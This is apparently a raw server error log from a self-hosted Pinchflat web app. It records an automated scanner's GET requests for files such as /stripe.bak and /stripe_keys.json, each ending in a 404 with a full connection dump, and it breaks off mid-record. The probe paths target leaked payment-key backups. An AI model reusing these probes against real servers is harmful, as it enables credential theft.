(Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-svusN-nPMgAAQSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3369.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.bak", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49974}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3369.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.bak", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49974}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3370.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "htt (truncated) 21:08:43.410 [info] GET /stripe.old 21:08:43.410 [debug] QUERY OK source="settings" db=0.1ms idle=57.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.411 [debug] QUERY OK source="settings" db=0.1ms idle=24.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.411 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.411 [error] #PID<0.3372.0> running PinchflatWeb.Endpoint (connection #PID<0.3371.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3371.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.old", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49978}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3372.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-szwZOwW838AAHGC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3371.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.old", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49978}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3371.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.old", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49978}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3372.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "htt (truncated) 21:08:43.486 [info] GET /stripe.save 21:08:43.486 [debug] QUERY OK source="settings" db=0.1ms idle=99.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.486 [debug] QUERY OK source="settings" db=0.3ms idle=92.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.487 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.487 [error] #PID<0.3374.0> running PinchflatWeb.Endpoint (connection #PID<0.3373.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3373.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.save", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49984}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3374.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-tFuu6ZUxBcAAHIC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3373.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.save", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49984}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3373.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.save", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49984}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3374.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", (truncated) 21:08:43.559 [info] GET /stripe.backup 21:08:43.560 [debug] QUERY OK source="settings" db=0.1ms idle=165.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.560 [debug] QUERY OK source="settings" db=0.0ms idle=149.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.560 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.560 [error] #PID<0.3376.0> running PinchflatWeb.Endpoint (connection #PID<0.3375.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.backup", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49990}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3376.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-tXX7YjX66oAAQUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.backup", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49990}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.backup", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49990}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3376.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forward (truncated) 21:08:43.661 [info] GET /stripe_keys.json 21:08:43.661 [debug] QUERY OK source="settings" db=0.1ms idle=250.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.661 [debug] QUERY OK source="settings" db=0.0ms idle=175.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.661 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.661 [error] #PID<0.3378.0> running PinchflatWeb.Endpoint (connection #PID<0.3377.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe_keys.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe_keys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3377.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe_keys.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49998}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, 